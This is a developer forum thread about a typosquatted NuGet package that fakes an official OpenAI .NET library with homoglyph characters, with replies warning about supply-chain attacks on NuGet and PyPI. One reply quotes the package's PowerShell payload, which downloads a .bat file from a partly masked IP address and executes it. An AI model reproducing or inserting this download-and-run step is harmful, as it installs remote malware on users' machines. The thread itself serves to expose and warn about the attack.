Problem with "Official" OpenAi .NET Package? (Edit: It's a fake package)

Community
1

I’m using Visual Studio 2022 Enterprise, and I tried to install the following Nuget package:
[REMOVED BECAUSE MALICIOUS]

But I’m getting the following error:

Error MSB5016 The name “PkgOpеոAI” contains an invalid character “е”. The project file is invalid on disk and was not reloaded.

Using a unicode character inspector such as this, it looks like instead of regular latin characters, the “e” and “n” are actually the following:
CYRILLIC SMALL LETTER IE
ARMENIAN SMALL LETTER VO

Sooo lol what? Is that actually an official package or some kind of fake?

Edit: Ok the package now looks super sus. I think it’s a fake, there are other packages by that same account also with weird characters in them, and all created 5 days ago)

2 Likes
2

Looking at the file I hope you rev up your anti-virus

$URL = "http://45.###.66.##/download/Anthrax.bat"  
$FilePath = "C:\Windows\Temp\Anthrax.bat"
Invoke-WebRequest -Uri $URL -OutFile $FilePath
cmd.exe /c $FilePath
Clear-Host

There was actually a fun article regarding this exact attack vector. Did ChatGPT write this repository?

Here’s the article:

2 Likes
3

AppLocker saved me

image
image712×171 10.8 KB

2 Likes
4

Yeah, fake characters are usually a telltale sign of phishing. There’s been a lot of questions like “how did my API key get compromised”, and I think this is just one of the possibilities. Open AI API keys are quite valuable now as people can use them to generate fake reviews or whatever.

I’m personally skeptical enough that I do that part myself. It’s not hard to just do a POST call and handle the errors, and it looks like even the official OpenAI ones lag behind some of the latest changes.

2 Likes
5

Holy moly does Nuget even validate their packages?

6

Hi @ThioJoe
There are no official packages for .NET.

Only community libraries are available for C# / .NET, as of now.

Let us know if you used one of them.

2 Likes
8

@ThioJoe 's channel was this → . ← close to turning into Elon Musk :laughing:

Jokes apart, good thing it was noticed!

1 Like
9

Apparently not. Lesson learned :thinking:

10

Wow this is crazy, idk how many malicious stuffs could be uploaded.
What about Pypi?

11

Yep, I believe with Pypi they targeted mis-spellings: Latest attack on PyPI users shows crooks are only getting better | Ars Technica

1 Like
12

Wow, I’ve used alot of random pypi packages in my time, I hope i don’t get a virus :sweat_smile:
@ThioJoe what can I do to prevent that?

13

Haha same here, I think you can prevent using root to install stuffs, that’s first, and only install known and trusted packages.